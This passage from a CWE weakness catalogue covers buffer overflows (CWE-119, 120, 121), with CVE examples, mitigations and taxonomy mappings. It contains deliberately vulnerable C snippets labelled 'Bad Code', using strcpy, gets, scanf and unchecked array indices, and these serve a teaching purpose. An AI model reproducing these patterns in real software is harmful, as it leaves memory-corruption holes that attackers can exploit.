The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

**Example 3:**

The following example asks a user for an offset into an array to select an item.

**C Example:**

Bad Code

```

int main (int argc, char **argv) {
    char *items[] = {"boat", "car", "truck", "train"};
    int index = GetUntrustedOffset();
    printf("You selected %s\n", items[index-1]);
}

```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

**Example 4:**

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

**C Example:***Bad Code*

```
int getValueFromArray(int *array, int len, int index) {
    int value;
    // check that the array index is less than the maximum
    // length of the array
    if (index < len) {
        // get the value at the specified index of the array
        value = array[index];
    }
    // if array index is invalid then output error message
    // and return value indicating error
    else {
        printf("Value is: %d\n", array[index]);
        value = -1;
    }
    return value;
}
```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

**C Example:***Good Code*

```
...
// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
    ...
}
```

**Observed Examples**

Reference	Description
CVE-2008-4113	OS kernel trusts userland-supplied length value, allowing reading of sensitive information
CVE-2009-0191	chain: malformed input causes dereference of uninitialized memory
CVE-2009-0269	chain: -1 value from a function call was intended to indicate an error, but is used as an array index instead.
CVE-2009-0558	attacker-controlled array index leads to code execution
CVE-2009-0566	chain: incorrect calculations lead to incorrect pointer dereference and memory corruption
CVE-2009-0689	large precision value in a format string triggers overflow
CVE-2009-0690	negative offset value leads to out-of-bounds read
CVE-2009-1350	product accepts crafted messages that lead to a dereference of an arbitrary pointer
CVE-2009-1528	chain: lack of synchronization leads to memory corruption
CVE-2009-1532	malformed inputs cause accesses of uninitialized or previously-deleted objects, leading to memory corruption
CVE-2009-2403	Heap-based buffer overflow in media player using a long entry in a playlist
CVE-2009-2550	Classic stack-based buffer overflow in media player using a long entry in a playlist

**Potential Mitigations**

**Requirements****Language Selection**

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

**Architecture and Design****Libraries or Frameworks**

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples include the Safe C String Library (SafeStr) by Messier and Viega [R.119.3], and the Strsafe.h library from Microsoft [R.119.2]. These libraries provide safer versions of overflow-prone string-handling functions.

This is not a complete solution, since many buffer overflows are not related to strings.

**Build and Compilation****Compilation or Build Hardening****Defense in Depth**

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio / GS flag, Fedora/Red Hat FORTIFY\_SOURCE GCC flag, StackGuard, and ProPolice.

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

**Implementation**

Consider adhering to the following rules when allocating and managing an application's memory:

Double check that your buffer is as large as you specify.

When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.

Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space.

If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

**Operation****Environment Hardening****Defense in Depth**

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [R.119.4] [R.119.6] and Position-Independent Executables (PIE) [R.119.10].

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.



**Operation****Environment Hardening****Defense in Depth**

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [R.119.6] [R.119.7].

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

**Implementation****Moderate**

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

**Relationships**

Nature	Type	ID	Name	V	∞	Page
ChildOf		20	Improper Input Validation	699 <b>700</b>		18
ChildOf		118	Improper Access of Indexable Resource ('Range Error')	<b>699</b> <b>1000</b>		225
ChildOf		633	Weaknesses that Affect Memory	<b>631</b>		981
ChildOf		726	OWASP Top Ten 2004 Category A5 - Buffer Overflows	<b>711</b>		1118
ChildOf		740	CERT C Secure Coding Section 06 - Arrays (ARR)	<b>734</b>		1133
ChildOf		741	CERT C Secure Coding Section 07 - Characters and Strings (STR)	734		1133
ChildOf		742	CERT C Secure Coding Section 08 - Memory Management (MEM)	734		1134
ChildOf		743	CERT C Secure Coding Section 09 - Input Output (FIO)	734		1135
ChildOf		744	CERT C Secure Coding Section 10 - Environment (ENV)	734		1135
ChildOf		752	2009 Top 25 - Risky Resource Management	<b>750</b>		1143
ChildOf		874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	868		1313
ChildOf		875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868		1314
ChildOf		876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	<b>868</b>		1314
ChildOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868		1315
ChildOf		878	CERT C++ Secure Coding Section 10 - Environment (ENV)	868		1316
ChildOf		970	SFP Secondary Cluster: Faulty Buffer Access	<b>888</b>		1380
ParentOf		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	<b>699</b> <b>1000</b>		234
ParentOf		123	Write-what-where Condition	<b>699</b> <b>1000</b>		248
ParentOf		125	Out-of-bounds Read	<b>699</b> <b>1000</b>		253
CanFollow		128	Wrap-around Error	1000		257
CanFollow		129	Improper Validation of Array Index	1000		258
ParentOf		130	Improper Handling of Length Parameter Inconsistency	<b>699</b>		266
CanFollow		131	Incorrect Calculation of Buffer Size	699 1000		269
CanFollow		190	Integer Overflow or Wraparound	1000	680	361
CanFollow		193	Off-by-one Error	1000		371

Nature	Type	ID	Name	V	∞	Page
CanFollow	V	195	Signed to Unsigned Conversion Error	1000		377
ParentOf	B	466	Return of Pointer Value Outside of Expected Range	1000		783
MemberOf	V	635	Weaknesses Used by NVD	635		983
ParentOf	B	786	Access of Memory Location Before Start of Buffer	699		1205
ParentOf	B	787	Out-of-bounds Write	1000		1207
ParentOf	B	788	Access of Memory Location After End of Buffer	699		1208
ParentOf	B	805	Buffer Access with Incorrect Length Value	1000		1230
ParentOf	B	822	Untrusted Pointer Dereference	699		1250
ParentOf	B	823	Use of Out-of-range Pointer Offset	1000		1252
ParentOf	B	824	Access of Uninitialized Pointer	699		1254
ParentOf	B	825	Expired Pointer Dereference	1000		1255
CanFollow	B	839	Numeric Range Comparison Without Minimum Check	699		1279
CanFollow	B	843	Access of Resource Using Incompatible Type ('Type Confusion')	1000		1287

#### Affected Resources

- Memory

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A5	Exact	Buffer Overflows
CERT C Secure Coding	ARR00-C		Understand how arrays work
CERT C Secure Coding	ARR33-C		Guarantee that copies are made into storage of sufficient size
CERT C Secure Coding	ARR34-C		Ensure that array types in expressions are compatible
CERT C Secure Coding	ARR35-C		Do not allow loops to iterate beyond the end of an array
CERT C Secure Coding	ENV01-C		Do not make assumptions about the size of an environment variable
CERT C Secure Coding	FIO37-C		Do not assume character data has been read
CERT C Secure Coding	MEM09-C		Do not assume memory allocation routines initialize memory
CERT C Secure Coding	STR31-C		Guarantee that storage for strings has sufficient space for character data and the null terminator
CERT C Secure Coding	STR32-C		Null-terminate byte strings as required
CERT C Secure Coding	STR33-C		Size wide character strings correctly
WASC	7		Buffer Overflow
CERT C++ Secure Coding	ARR00-CPP		Understand when to prefer vectors over arrays
CERT C++ Secure Coding	ARR30-CPP		Guarantee that array and vector indices are within the valid range
CERT C++ Secure Coding	ARR33-CPP		Guarantee that copies are made into storage of sufficient size
CERT C++ Secure Coding	ARR35-CPP		Do not allow loops to iterate beyond the end of an array or container
CERT C++ Secure Coding	STR31-CPP		Guarantee that storage for character arrays has sufficient space for character data and the null terminator

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C++ Secure Coding	STR32-CPP		Null-terminate character arrays as required
CERT C++ Secure Coding	MEM09-CPP		Do not assume memory allocation routines initialize memory
CERT C++ Secure Coding	FIO37-CPP		Do not assume character data has been read
CERT C++ Secure Coding	ENV01-CPP		Do not make assumptions about the size of an environment variable
Software Fault Patterns	SFP8		Faulty Buffer Access

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
8	Buffer Overflow in an API Call	
9	Buffer Overflow in Local Command-Line Utilities	
10	Buffer Overflow via Environment Variables	
14	Client-side Injection-induced Buffer Overflow	
24	Filter Failure through Buffer Overflow	
42	MIME Conversion	
44	Overflow Binary Resource File	
45	Buffer Overflow via Symbolic Links	
46	Overflow Variables and Tags	
47	Buffer Overflow via Parameter Expansion	
100	Overflow Buffers	

### References

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 5, "Public Enemy #1: The Buffer Overrun" Page 127; Chapter 14, "Prevent I18N Buffer Overruns" Page 441. 2nd Edition. Microsoft. 2002.

[REF-27] Microsoft. "Using the Strsafe.h Functions". < <http://msdn.microsoft.com/en-us/library/ms647466.aspx> >.

[REF-26] Matt Messier and John Viega. "Safe C String Library v1.0.3". < <http://www.zork.org/safestr/> >.

[REF-22] Michael Howard. "Address Space Layout Randomization in Windows Vista". < [http://blogs.msdn.com/michael\\_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx](http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx) >.

Arjan van de Ven. "Limiting buffer overflows with ExecShield". < <http://www.redhat.com/magazine/009jul05/features/execshield/> >.

[REF-29] "PaX". < <http://en.wikipedia.org/wiki/PaX> >.

[REF-25] Microsoft. "Understanding DEP as a mitigation technology part 1". < <http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx> >.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 5, "Memory Corruption", Page 167.. 1st Edition. Addison Wesley. 2006.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 5, "Protection Mechanisms", Page 189.. 1st Edition. Addison Wesley. 2006.

[REF-37] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. < <https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/> >.

## CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Weakness ID: 120 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The program copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.

## Extended Description

A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold, or when a program attempts to put data in a memory area outside of the boundaries of a buffer. The simplest type of error, and the most common cause of buffer overflows, is the "classic" case in which the program copies the buffer without restricting how much is copied. Other variants exist, but the existence of a classic overflow strongly suggests that the programmer is not considering even the most basic of security protections.

## Alternate Terms

### buffer overrun

Some prominent vendors and researchers use the term "buffer overrun," but most people use "buffer overflow."

### Unbounded Transfer

## Terminology Notes

Many issues that are now called "buffer overflows" are substantively different than the "classic" overflow, including entirely different bug types that rely on overflow exploit techniques, such as integer signedness errors, integer overflows, and format string bugs. This imprecise terminology can make it difficult to determine which variant is being reported.

## Time of Introduction

- Implementation

## Applicable Platforms

### Languages

- C
- C++
- Assembly

## Common Consequences

### Integrity

### Confidentiality

### Availability

### Execute unauthorized code or commands

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.

### Availability

### DoS: crash / exit / restart

### DoS: resource consumption (CPU)

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

## Likelihood of Exploit

High to Very High

## Detection Methods

### Automated Static Analysis

### High

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with `setuid` or other special privileges.

Detection techniques for buffer-related errors are more mature than for most other weakness types.

**Automated Dynamic Analysis**

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

**Manual Analysis**

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

**Automated Static Analysis - Binary / Bytecode****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

**Manual Static Analysis - Binary / Bytecode****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Dynamic Analysis with automated results interpretation****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

**Dynamic Analysis with manual results interpretation****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

**Manual Static Analysis - Source Code****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

**Automated Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Demonstrative Examples****Example 1:**

The following code asks the user to enter their last name and then attempts to store the value entered in the last\_name array.

**C Example:***Bad Code*

```
char last_name[20];
printf ("Enter your last name: ");
scanf ("%s", last_name);
```

The problem with the code above is that it does not restrict or limit the size of the name entered by the user. If the user enters "Very\_very\_long\_last\_name" which is 24 characters long, then a buffer overflow will occur since the array can only hold 20 characters total.

**Example 2:**

The following code attempts to create a local copy of a buffer to perform some manipulations to the data.

**C Example:***Bad Code*

```
void manipulate_string(char* string){
    char buf[24];
    strcpy(buf, string);
    ...
}
```

However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and blindly copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.

**Example 3:**

The excerpt below calls the gets() function in C, which is inherently unsafe.

**C Example:***Bad Code*

```
char buf[24];
printf("Please enter your name and press <Enter>\n");
gets(buf);
...
}
```

However, the programmer uses the function gets() which is inherently unsafe because it blindly copies all input from STDIN to the buffer without restricting how much is copied. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition.

**Example 4:**

In the following example, a server accepts connections from a client and processes the client request. After accepting a client connection, the program will obtain client information using the gethostbyaddr method, copy the hostname of the client that connected to a local variable and output the hostname of the client to a log file.

**C/C++ Example:***Bad Code*

```
...
struct hostent *clienthp;
char hostname[MAX_LEN];
// create server socket, bind to server address and listen on socket
...

```



```

// accept client connections and process requests
int count = 0;
for (count = 0; count < MAX_CONNECTIONS; count++) {
    int clientlen = sizeof(struct sockaddr_in);
    int clientsocket = accept(serversocket, (struct sockaddr *)&clientaddr, &clientlen);
    if (clientsocket >= 0) {
        clienthp = gethostbyaddr((char*) &clientaddr.sin_addr.s_addr, sizeof(clientaddr.sin_addr.s_addr), AF_INET);
        strcpy(hostname, clienthp->h_name);
        logOutput("Accepted client connection from host ", hostname);
        // process client request
        ...
        close(clientsocket);
    }
}
close(serversocket);
...

```

However, the hostname of the client that connected may be longer than the allocated size for the local hostname variable. This will result in a buffer overflow when copying the client hostname to the local variable using the strcpy method.

### Observed Examples

Reference	Description
CVE-1999-0046	buffer overflow in local program using long environment variable
CVE-2000-1094	buffer overflow using command with long argument
CVE-2001-0191	By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers.
CVE-2002-1337	buffer overflow in comment characters, when product increments a counter for ">" but does not decrement for "<"
CVE-2003-0595	By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers.

### Potential Mitigations

#### Requirements

#### Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

#### Architecture and Design

#### Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples include the Safe C String Library (SafeStr) by Messier and Viega [R.120.4], and the Strsafe.h library from Microsoft [R.120.3]. These libraries provide safer versions of overflow-prone string-handling functions.

This is not a complete solution, since many buffer overflows are not related to strings.

**Build and Compilation****Compilation or Build Hardening****Defense in Depth**

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio / GS flag, Fedora/Red Hat FORTIFY\_SOURCE GCC flag, StackGuard, and ProPolice.

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

**Implementation**

Consider adhering to the following rules when allocating and managing an application's memory:

Double check that your buffer is as large as you specify.

When using functions that accept a number of bytes to copy, such as `strncpy()`, be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.

Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space.

If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Operation****Environment Hardening****Defense in Depth**

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [R.120.5] [R.120.7] and Position-Independent Executables (PIE) [R.120.14].

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

**Operation****Environment Hardening****Defense in Depth**

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [R.120.7] [R.120.9].

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

**Build and Compilation****Operation**

Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is good practice to implement strategies to increase the workload of an attacker, such as leaving the attacker to guess an unknown value that changes every program execution.

**Implementation****Moderate**

Replace unbounded copy functions with analogous functions that support length arguments, such as `strcpy` with `strncpy`. Create these if they are not available.

This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

**Architecture and Design****Enforcement by Conversion**

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

**Architecture and Design****Operation****Environment Hardening**

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.120.10]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

**Architecture and Design****Operation****Sandbox or Jail****Limited**

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix `chroot` jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

**Weakness Ordinalities**

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

**Primary** (where the weakness exists independent of other weaknesses)

## Relationships

Nature	Type	ID	Name	CV	Page
ChildOf		20	Improper Input Validation	700	18
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	699 1000	226
CanPrecede		123	Write-what-where Condition	1000	248
ChildOf		633	Weaknesses that Affect Memory	631	981
ChildOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1116
ChildOf		726	OWASP Top Ten 2004 Category A5 - Buffer Overflows	711	1118
ChildOf		741	CERT C Secure Coding Section 07 - Characters and Strings (STR)	734	1133
ChildOf		802	2010 Top 25 - Risky Resource Management	800	1228
ChildOf		865	2011 Top 25 - Risky Resource Management	900	1309
ChildOf		875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	1314
ChildOf		970	SFP Secondary Cluster: Faulty Buffer Access	888	1380
CanFollow		170	Improper Null Termination	1000	328
CanAlsoBe		196	Unsigned to Signed Conversion Error	1000	380
CanFollow		231	Improper Handling of Extra Values	1000	423
CanFollow		242	Use of Inherently Dangerous Function	1000	431
CanFollow		416	Use After Free	1000	719
CanFollow		456	Missing Initialization of a Variable	1000	770
ParentOf		785	Use of Path Manipulation Function without Maximum-sized Buffer	699 1000	1204
MemberOf		884	CWE Cross-section	884	1319

## Relationship Notes

At the code level, stack-based and heap-based overflows do not differ significantly, so there usually is not a need to distinguish them. From the attacker perspective, they can be quite different, since different techniques are required to exploit them.

## Affected Resources

- Memory

## Functional Areas

- Memory Management

## Causal Nature

**Explicit** (*an explicit weakness resulting from behavior of the developer*)

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unbounded Transfer ('classic overflow')
7 Pernicious Kingdoms			Buffer Overflow
CLASP			Buffer overflow
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A5	CWE More Specific	Buffer Overflows
CERT C Secure Coding	STR35-C		Do not copy data from an unbounded source to a fixed-length array
WASC	7		Buffer Overflow
CERT C++ Secure Coding	STR35-CPP		Do not copy data from an unbounded source to a fixed-length array
Software Fault Patterns	SFP8		Faulty Buffer Access

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
8	Buffer Overflow in an API Call	
9	Buffer Overflow in Local Command-Line Utilities	
10	Buffer Overflow via Environment Variables	
14	Client-side Injection-induced Buffer Overflow	

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
24	Filter Failure through Buffer Overflow	
42	MIME Conversion	
44	Overflow Binary Resource File	
45	Buffer Overflow via Symbolic Links	
46	Overflow Variables and Tags	
47	Buffer Overflow via Parameter Expansion	
67	String Format Overflow in syslog()	
92	Forced Integer Overflow	
100	Overflow Buffers	

### White Box Definitions

A weakness where the code path includes a Buffer Write Operation such that:

1. the expected size of the buffer is greater than the actual size of the buffer where expected size is equal to the sum of the size of the data item and the position in the buffer

Where Buffer Write Operation is a statement that writes a data item of a certain size into a buffer at a certain position and at a certain index

### References

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 5, "Public Enemy #1: The Buffer Overrun" Page 127. 2nd Edition. Microsoft. 2002.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.

[REF-27] Microsoft. "Using the Strsafe.h Functions". < <http://msdn.microsoft.com/en-us/library/ms647466.aspx> >.

[REF-26] Matt Messier and John Viega. "Safe C String Library v1.0.3". < <http://www.zork.org/safestr/> >.

[REF-22] Michael Howard. "Address Space Layout Randomization in Windows Vista". < [http://blogs.msdn.com/michael\\_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx](http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx) >.

Arjan van de Ven. "Limiting buffer overflows with ExecShield". < <http://www.redhat.com/magazine/009jul05/features/execshield/> >.

[REF-29] "PaX". < <http://en.wikipedia.org/wiki/PaX> >.

Jason Lam. "Top 25 Series - Rank 3 - Classic Buffer Overflow". SANS Software Security Institute. 2010-03-02. < <http://software-security.sans.org/blog/2010/03/02/top-25-series-rank-3-classic-buffer-overflow/> >.

[REF-25] Microsoft. "Understanding DEP as a mitigation technology part 1". < <http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx> >.

[REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html> >.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Nonexecutable Stack", Page 76.. 1st Edition. Addison Wesley. 2006.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 5, "Protection Mechanisms", Page 189.. 1st Edition. Addison Wesley. 2006.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "C String Handling", Page 388.. 1st Edition. Addison Wesley. 2006.

[REF-37] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. < <https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/> >.

## CWE-121: Stack-based Buffer Overflow

Weakness ID: 121 (Weakness Variant)

Status: Draft

### Description

#### Summary

A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function).

## Alternate Terms

### Stack Overflow

"Stack Overflow" is often used to mean the same thing as stack-based buffer overflow, however it is also used on occasion to mean stack exhaustion, usually a result from an excessively recursive function call. Due to the ambiguity of the term, use of stack overflow to describe either circumstance is discouraged.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- C
- C++

### Common Consequences

#### Availability

**DoS: crash / exit / restart**

**DoS: resource consumption (CPU)**

**DoS: resource consumption (memory)**

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

#### Integrity

#### Confidentiality

#### Availability

#### Access Control

**Execute unauthorized code or commands**

**Bypass protection mechanism**

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.

#### Integrity

#### Confidentiality

#### Availability

#### Access Control

#### Other

**Execute unauthorized code or commands**

**Bypass protection mechanism**

#### Other

When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

### Likelihood of Exploit

Very High

### Demonstrative Examples

#### Example 1:

While buffer overflow examples can be rather complex, it is possible to have very simple, yet still exploitable, stack-based buffer overflows:

#### C Example:

*Bad Code*

```
#define BUFSIZE 256
int main(int argc, char **argv) {
    char buf[BUFSIZE];
    strcpy(buf, argv[1]);
}
```

The buffer size is fixed, but there is no guarantee the string in argv[1] will not exceed this size and cause an overflow.

#### Example 2:



This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

### C Example:

*Bad Code*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

